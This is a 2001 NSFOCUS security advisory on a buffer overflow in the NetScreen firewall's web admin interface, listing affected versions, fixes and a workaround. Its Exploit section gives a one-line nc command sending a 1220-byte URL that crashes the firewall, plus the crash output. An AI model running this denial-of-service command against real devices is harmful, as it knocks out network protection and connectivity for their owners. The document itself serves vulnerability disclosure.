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NSFOCUS SA2001-01: NetScreen Firewall WebUI Buffer Overflow vulnerability
From: Nsfocus Security Team <security () NSFOCUS COM>
Date: Tue, 9 Jan 2001 12:55:36 +0800

NSFOCUS Security Advisory(SA2001-01)

Topic:  NetScreen Firewall WebUI Buffer Overflow vulnerability

Release Date£º Jan 9th, 2001

CVE Candidate Numbers: CAN-2001-0007

Affected system:
================

ScreenOS release 1.73r1 on the NetScreen-1000
ScreenOS release 2.01r6 on the NetScreen-10/100
ScreenOS release 2.10r3 on the NetScreen-5
ScreenOS release 2.5r1  on the NetScreen-5/10/100

Non-affected system£º
====================

ScreenOS release 1.73r2 on the NetScreen-1000
ScreenOS release 2.01r7 on the NetScreen-10/100
ScreenOS release 2.10r4 on the NetScreen-5
ScreenOS release 2.5r2  on the NetScreen-5/10/100

Impact:
=========

NSFOCUS security team has found a buffer overflow vulnerability in
NetScreen Firewall WebUI. Exploitation of this vulnerability,
malicious user can launch remote DoS attack to crash the firewall.

Description£º
============

NetScreen Firewall is a popular commercial firewall. It has a Web
administration interface (default listening at port 80) that allows
firewall administrator to configure firewall with browser. However,
it is lack of length check-up of input URL. Provided with a oversized
URL request, a buffer overflow may take place that will crash the
NetScreen firewall. In that case, all connections through firewall
will be dropped, and the firewall won't response to any connection
request. Rebooting the firewall is required to regain its functions.

Attackers can launch attack without logining firewall.

All current versions of ScreeOS, including 1.73r1, 2.0r6, 2.1r3 and
2.5r1 are affected by this vulnerability on occasion that WebUI has
been enabled .


Exploit:
==========

Once the input URL is longer than 1220 bytes£¬NetScreen firewall will
crash:

$echo -e "GET /`perl -e 'print "A"x1220'` HTTP/1.0\n\n"|nc netscreen_firewall 80

Following information will appear on firewall console£º

****************************** EXCEPTION ******************************

Bus error execption (data reference: load or store)

EPC   = 0x8009AA1C,   SR    = 0x34501007,   Cause = 0x0080001C

Firewall halts now.


Workaround:
===================

Disable WebUI management or appoint trusted administration host before
acquirement and installation of relevant patch.

Vendor Status:
==============

We have notified NetScreen of this vulnerability on 12/19/2000 .
On 12/26/2000 NetScreen has issued following ScreenOS release versions
to fix the bug:

ScreenOS 1.73r2  on the NetScreen-1000
ScreenOS 2.10r4  on the NetScreen-5
ScreenOS 2.01r7  on the NetScreen-10/100
ScreenOS 2.5.0r2 on the NetScreen-5/10/100

Latest software are available at:
http://www.netscreen.com/support/updates.html
You can also contact NetScreen Technical Support Center
(mailto:support () netscreen com) for upgraded software.

Additional Information:
========================

The Common Vulnerabilities and Exposures (CVE) project has
assigned the name CAN-2001-0007 to this issue. This is a
candidate for inclusion in the CVE list (http://cve.mitre.org),
which standardizes names for security problems.  Candidates
may change significantly before they become official CVE entries.

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==========
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NSFOCUS Security Team <security () nsfocus com>
NSFOCUS INFORMATION TECHNOLOGY CO.,LTD
(http://www.nsfocus.com)


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